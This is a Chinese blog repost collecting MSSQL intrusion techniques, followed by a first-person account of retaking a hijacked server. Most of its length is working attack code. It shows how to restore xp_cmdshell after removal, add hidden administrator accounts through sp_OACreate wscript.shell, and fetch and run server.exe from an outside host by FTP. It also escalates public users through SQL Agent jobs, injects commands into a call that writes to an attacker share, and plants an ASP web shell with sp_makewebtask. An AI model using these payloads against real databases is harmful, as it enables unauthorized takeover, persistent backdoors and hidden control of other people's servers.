SQL脚本语言

下面这些命令可以在命令行下用isql执行,isql -E -Q “命令”,isql.exe为安装了mssql服务器自带的一个小程序

XP_CMDSHELL “dir”   –执行DOS命令dir

解释:执行DOS命令,就是在XP_CMDSHELL “输入DOS命令”;

EXEC sp_addlogin golder, golder   –添加SQL用户

解释:EXEC sp_addlogin 用户名,密码;

exec sp_droplogin ‘golder’   –删除SQL用户golder

解释:exec sp_droplogin ‘删除的用户名’;

exec sp_addsrvrolemember ‘golder’, sysadmin    –添加用户到SQL管理员

解释:exec sp_addsrvrolemember ‘添加的用户名’, sysadmin
sysadmin为管理员权限;

exec sp_dropsrvrolemember ‘golder’, sysadmin   –删除SQL管理员权限

解释:exec sp_dropsrvrolemember ‘删除管理员权限的用户名’, sysadmin

EXEC sp_password NULL, ‘golder’,’golder’   –更改SQL登陆密码

解释:EXEC sp_password ‘原来的密码(如果密码为空,就写NULL)’, ‘更改后的密码’,’更改密码的用户名’;

if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]’) and
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)中国2004-5-31 15:31:08
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’
GO     –去除SQL上的XP_CMDSHELL权限

如何在MSSQL中执行系统命令[SQL空密码利用

How to execute system command in MSSQL:) 假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL cmd.exe /c net user aaa bbb /add
人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from
dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and
OBJECTPROPERTY(id, NIsExtendedProc) = 1)
exec sp_dropextendedproc N[dbo].[xp_cmdshell]
GO 通过上面的T-SQL语句就可以把这个扩展储存删了 我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =xpsql70.dll 就还原了. 但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的 DROP PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and
OBJECTPROPERTY(id, NIsExtendedProc) = 1)
exec sp_dropextendedproc N[dbo].[xp_cmdshell]
GO 还原:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,sp_addextendedproc)
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO 唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了 2)
看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗?
有写注册表三:
xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\windows\currentversion\run, czy82,REG_SZ, net user czy bb /add 其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了 3)
declare @s int
exec sp_oacreate “wscript.shell”,@s out
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c echo open asp.7i24.com>c:\a.txt”
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c echo 123321>>c:\a.txt”
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c echo 123321>>c:\a.txt”
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c echo get server.exe>>c:\a.txt”
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c echo close>>c:\a.txt”
–exec sp_oamethod @s,”run”,NULL,”cmd.exe /c ftp -s:c:\a.txt”
exec sp_oamethod @s,”run”,NULL,”cmd.exe /c server” 对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果,真的不能吗看下面的: declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate “wscript.shell”,@s out
exec sp_oamethod @s,”run”,NULL,”cmd.exe /c net user>c:\temp.txt”*/
exec sp_oacreate “scripting.filesystemobject”, @o out
exec sp_oamethod @o, “opentextfile”, @f out,”c:\temp.txt”, 1
exec sp_oamethod @f, “readall”,@str out
print @str 先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的
——————————————
写到这儿该作个总结了上面三个办法可能大家都知道吧
下面的可能知道的人就少了
—————————————— 4)
use msdb; –这儿不要是master哟
exec sp_add_job @job_name=czy82;
exec sp_add_jobstep @job_name=czy82,@step_name = Exec my sql,@subsystem=CMDEXEC,@command=dir c:\>c:\b.txt;
exec sp_add_jobserver @job_name = czy82,@server_name = smscomputer;
exec sp_start_job @job_name=czy82; 利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
net start SQLSERVERAGENT 对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = GetSystemOnSQL,
@enabled = 1,
@description = This will give a low privileged user access to
xp_cmdshell,
@delete_level = 1
EXEC sp_add_jobstep @job_name = GetSystemOnSQL,
@step_name = Exec my sql,
@subsystem = TSQL,
@command = exec master..xp_execresultset Nselect exec
master..xp_cmdshell “dir > c:\agent-job-results.txt”,NMaster
EXEC sp_add_jobserver @job_name = GetSystemOnSQL,
@server_name = 你的SQL的服务器名
EXEC sp_start_job @job_name = GetSystemOnSQL 不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968 USE msdb
EXEC sp_add_job @job_name = ArbitraryFileCreate,
@enabled = 1,
@description = This will create a file called c:\sqlafc123.txt,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ArbitraryFileCreate,
@step_name = SQLAFC,
@subsystem = TSQL,
@command = select hello, this file was created by the SQL Agent.,
@output_file_name = c:\sqlafc123.txt
EXEC sp_add_jobserver @job_name = ArbitraryFileCreate,
@server_name = SERVER_NAME
EXEC sp_start_job @job_name = ArbitraryFileCreate 如果subsystem选的是:tsql,在生成的文件的头部有如下内容 ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
———————————————-
hello, this file was created by the SQL Agent. (1 ?????) 所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的vbs文件到启动目录! 6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command=dir c:\ > “\\attackerip\share\dir.txt”
select @scripfile=c:\autoexec.bat > nul” │ + @command + │ rd ”
exec sp_MScopyscriptfile @scripfile , 这两个东东都还在测试试哟 7)以PUBLIC用户的权限来得到一个WEB shell
exec sp_makewebtask @outputfile%3dD:\WEB\chinamanagers\aacc.asp,@charset%3dgb2312,@query%3dselect <%25On Error Resume Next : Set oscript %3d Server.CreateObject(“wscript.SHELL”) : Set oscriptNet %3d Server.CreateObject(“wscript.NETWORK”) : Set oFileSys %3d Server.CreateObject(“scripting.FileSystemObject”) : szCMD %3d Request.Form(“.CMD”) : If (szCMD <>””)Then : szTempFile %3d “C:\” %26 oFileSys.GetTempName() : Call oscript.Run (“cmd.exe /c ” %26 szCMD %26 ” > ” %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25>
” method%3d”POST”> “>
<%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25>

深夜了,好友“如影随行”突然发来消息,说他一台配置非常好的3389肉鸡飞了。以前他是从WEB页面注入入手,然后直接用Xp_cmdshell添加系统用户搞定的,可晚上用3389登陆时突然发现添加的用户不在了,安装的后门都被清理干净,连Xp_cmdshell也执行不了。朋友叫我帮忙看看,这样和管理员的直接攻防较量我还没尝试过,所以也就答应了!  因为是数据库是SA权限连接的,我首先想到的是利用下面的命令: exec master.dbo.sp_addlogin renwoxin 我的目的是添加数据库用“renwoxin”,然后将将其加入“Sysadmin”组: Exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin 然后就可以用祭出我们的“屠库宝刀”——SQL查询分析器了。开始我还抱着一丝侥幸,希望可以通过: sp_addextendedproc Xp_cmdshell,@dllname=’Xplog70.dll’ 添加Xp_cmdshell扩展过程。可惜SQL输出如下:数据库中已存在名为Xp_cmdshell 的对象。

为了确认Xp_cmdshell是否被删除我提交如下语句: select count(*) from master.dbo.sysobjects where xtype=’X’ and name=Xp_cmdshell 返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。我决定用臭要饭的写的GetWebShell来写入ASP木马。工具使用很简单,以往的黑防也有介绍过。我使用后一会儿就提示写入成功了,但等我高高兴兴的去访问这个路径时,却提示“找不到网页”,郁闷!  百思不得其解,拿出NBSI2,利用Tree list工具列出WEB路径下的文件,发现上传的木马“安详”地躺在那儿,可为什么不能访问呢,而且错误提示居然是“找不到文件”?!我打算放弃了,可这么好的肉鸡就这么飞了,实在心有不甘!到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用SQL查询分析器写入如下指令: Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ——这两行代码是建立SQL的文本对象 exec sp_oamethod @o, ’createtextfile’, @f out,’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1 --在启动菜单里写入a.vbs,当然这里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wshshell=createobject(“wscript.shell”)’ ——单引号里的都是a.vbs的内容,要一行一行的写,下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL,’a=wshshell.run (“cmd.exe /c net user user1 123 /add”,0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’b=wshshell.run (“cmd.exe /c net localgroup administrators user1 /add”,0)’ --a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。

这个脚本用Sp_oamethod来调用OLE对象的Writeline方法,突然灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出“SQL Server联机丛书”,其中对Sp_OAMethod描述如下: sp_OAMethod 调用 OLE 对象的方法。语法 sp_OAMethod objecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[…n]] 参数 objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 methodname 是要调用的 OLE 对象的方法名。用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗?于是构造如下语句: DECLARE @cmd INT EXEC sp_oacreate ‘wscript.shell’,@cmd output EXEC sp_oamethod @cmd,’run’,null,’cmd.exe /c net user renwoxin$ test /add’,’0′,’true’ 小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户renwoxin$,密码为test。“0”和“true”是RUN方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口,如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动程序后立即返回0(不是错误代码)。

上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员: DECLARE @cmd INT EXEC sp_oacreate ‘wscript.shell’,@cmd output EXEC sp_oamethod @cmd,’run’,null,’cmd.exe /c net localgroup administrators renwoxin$ /add’,’0′,’true’ 这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然被删除了。

    原文作者:lchyz89
    原文地址: https://blog.csdn.net/lchyz89/article/details/7818398
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞